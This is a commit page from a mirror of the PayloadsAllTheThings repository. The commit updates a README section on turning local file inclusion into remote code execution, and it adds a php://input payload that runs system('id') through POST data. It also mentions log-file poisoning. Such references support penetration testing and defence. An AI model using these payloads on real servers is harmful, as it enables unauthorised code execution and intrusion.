Backup_Repos/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings synced 2026-04-20 05:53:18 +02:00
Code Issues Projects Releases Wiki Activity

LFI to RCE via input:// stream

Browse source
This commit is contained in:
Swissky 2017-09-24 00:37:56 +02:00
parent 3e6043be32
commit 87ef554e40
1 changed files with 5 additions and 5 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

10
File Inclusion - Path Traversal/README.md
View file

@ -117,11 +117,11 @@ Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/down
## LFI to RCE via input:// stream
TODO
file=php://input
(specify your payload in the POST parameters,
Specify your payload in the POST parameters
```
http://example.com/index.php?page=php://input
POST DATA: <? system('id'); ?>
```
## LFI to RCE via controlled log file
Just append your PHP code into the log file and include it.